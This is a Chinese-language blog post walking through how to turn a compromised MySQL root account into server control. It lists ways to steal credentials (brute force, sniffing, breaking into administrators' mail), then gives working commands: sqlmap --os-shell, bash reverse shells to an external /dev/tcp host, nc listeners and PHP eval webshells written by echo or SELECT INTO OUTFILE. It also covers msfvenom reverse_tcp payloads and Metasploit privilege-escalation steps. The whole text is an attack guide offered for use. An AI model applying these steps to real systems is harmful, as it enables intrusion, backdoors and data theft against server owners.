使用sqlmap直连数据库获取webshell

旧城等待， 2021-07-28 22:18 874阅读 0赞

在有些场景下，需要通过mysql直接连接来获取权限，例如通过暴力破解、嗅探等方法获取了账号及口令，服务器有可能未开放web服务。

### 0X001 适用场景 ###

1.获取了Mysql数据库root账号以及密码。

2.可以访问3306端口以及数据库。

# #

### 0X002 扫描获取root账号的密码 ###

通常有下面一些方法来获取root账号的密码

（1）phpMyAdmin多线程批量破解工具，下载地址：[http://www.test404.com/post-546.html][http_www.test404.com_post-546.html]

[http://pan.baidu.com/s/1c1LD6co][http_pan.baidu.com_s_1c1LD6co]，通过收集phpmyadmin地址进行暴力破解。

（2）代码泄露获取数据库账号和密码

（3）文件包含读取配置文件中的数据库账号和密码

（4）通过网络嗅探获取

（5）渗透运维人员的邮箱及个人主机获取

# #

### 0X003 获取shell ###

1.通过sqlmap连接mysql获取shell

（1）直接连接数据库

sqlmap.py -d “mysql://root:123456@127.0.0.1:3306/mysql”–os-shell

（2）通过选择32位或者64位操作系统，获取webshell，执行

bash -i >& /dev/tcp/192.168.1.3/80800>&1

（3）反弹到服务器192.168.1.3，在实际中192.168.1.3为外网独立IP。

（4）通过echo命令生成shell：

echo “<?php@eval($\_POST\['chopper'\]);?>” >/data/www/phpmyadmin/1.php

如果能够通过phpmyadmin管理数据库，则可以修改host为“%”并执行权限更新，下面命令可参考：

use mysql;

update userset host = ‘%’ where user = ‘root’;

FLUSHPRIVILEGES ;

注意：如果数据库中有多个host连接，修改时可能会导致数据库连接出问题。

2.通过msf反弹

（1）使用msfvenom生成msf反弹的php脚本木马，默认端口为4444：

msfvenom -p  php/meterpreter/reverse\_tcpLHOST=192.168.1.3 -f raw > test.php

（2）在独立IP或者反弹服务器上运行msf依次执行以下命令：

msfconsole

use exploit/multi/handler

set payload php/meterpreter/reverse\_tcp

set LHOST 192.168.1.3  //192.168.1.3为反弹监听服务器IP

show options

run 0 或者exploit

（3）上传并执行php文件

将test.php上传到192.168.1.2服务器上面，访问后即可获取msf反弹shell

http:// 192.168.1.2:8080/test.php

3.通过phpmyadmin管理界面查询生成webshll

select ‘<?php @eval($\_POST\[cmd\]);?>’INTOOUTFILE ‘D:/work/WWW/antian365.php’

# #

### 0X004 一个实例 ###

1.直接连接mysql数据库

执行命令：sqlmap.py -d”mysql://root:123456@2\*\*.\*\*\*\*.\*\*.\*\*:3306/mysql” –os-shell

如图1所示，需要设置后端数据库的架构，服务器多为64位，可以先选择64位即输入数字2进行测试，如果不是，可以退出后再次运行并选择。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70][]

图1选择服务器数据库所在架构

## ##

2.上次udf文件

选择系统架构后，sqlmap会自动上传udf文件到服务器提权位置，如图2所示，会显示一些信息。Sqlmap不管获取的shell是否成功都显示os-shell提示符。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 1][]

图2获取os-shell

## ##

3.执行命令

针对相应的系统执行一些命令来验证是否真正获取shell，如图3所示，执行cat  /etc/passwd命令来查看passwd文件内容，在本例中成功获取shell。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 2][]

图3执行命令

## ##

4.获取反弹shell

虽然通过sqlmap获取了shell，但shell中操作不方便，可以在具备独立IP的服务器上执行：

nc –vv –l –p 8080

在sqlmap的shell段执行：

bash -i>& /dev/tcp/24.11.123.222/8080 0>&1

说明：

（1）24.11.123.222为独立IP

（2）需要在24.11.123.222上执行上面的nc监听命令

（3）24.11.123.222服务器需要对8080端口放行，或者在防火墙中开放8080端口，如图4所示，成功反弹shell。

![2019102916231769.jpg][]

图4成功反弹shell

## ##

5.在服务器上生成webshell

在反弹的shell中通过执行locate \*.php命令来定位服务器网页的真实路径，然后到该路径下，通过echo命令生成webshell，如图5所示，直接通过echo命令生成webshell一句话后门。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 3][]

图5生成webshell一句话后门文件

## ##

6.获取webshell

使用中国菜刀一句话后面管理器创建记录并连接，如图6所示，成功获取webshell。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 4][]

图6获取webshell

## ##

7.通过phpmyadmin生成一句话

如图7所示，通过phpmyadmin登录后台后，在sql查询中执行命令：

> select ‘<?php @eval($\_POST\[cmd\]);?>’INTOOUTFILE ‘/data/www/phpmyadmin/eval.php’
> 
> 注意：通过phpmyadmin生成一句话需要知道网站的真实路径。可以通过查看数据库表以及phpinfo，登录后台，出错等来获取真实路径地址。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 5][]

图7通过phpmyadmin获取webshell

## ##

8.通过msf反弹获取shell

本意是通过msfvenom命令生成msf反弹网页木马，通过msf获取shell，并进行提权，如图8所示，执行后，成功获取shell但真正能够通过msf进行提权成功的很少。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 6][]

图8msf反弹获取shell

## ##

9.msf提权参考

（1）msf提权参考

通过msf反弹shell，执行background将session放在后台运行，然后搜索可以利用的exploit来进行测试。下面是一些可以供参考的命令：

> background
> 
> search “关键字”//seach ssh seach “/exploit/linux/local”
> 
> use exploit/linux……
> 
> show options
> 
> set session 1
> 
> exploit
> 
> sessions -i 1
> 
> getuid

在msf平台上面执行search后，查找的结果中选择时间较新和excellent的成功提权的几率比较大，在提权前，最好更新msf到最新版本，另外一个搜索exploit的命令为：

> searchsploit  linux local 2.6.32

[http_www.test404.com_post-546.html]: http://www.test404.com/post-546.html
[http_pan.baidu.com_s_1c1LD6co]: http://pan.baidu.com/s/1c1LD6co
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70]: /images/20210728/6518ac7b8bf643129b387a5432bf95f5.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 1]: /images/20210728/f50ef39d81cb4ebab26c22889545477d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 2]: /images/20210728/02c1e7950eaa4985a0785f648cbf74df.png
[2019102916231769.jpg]: /images/20210728/22548a96476146a3827e3a7891641574.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 3]: /images/20210728/19529174b7274b7193f8478899e16f6f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 4]: /images/20210728/d8a5838110d24ef28f8db3b4ce61f1ee.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 5]: /images/20210728/c5f50e94e3cd4c2dab13abb30a510b5e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 6]: /images/20210728/f774b7f44f0f43209f628f1edf397326.png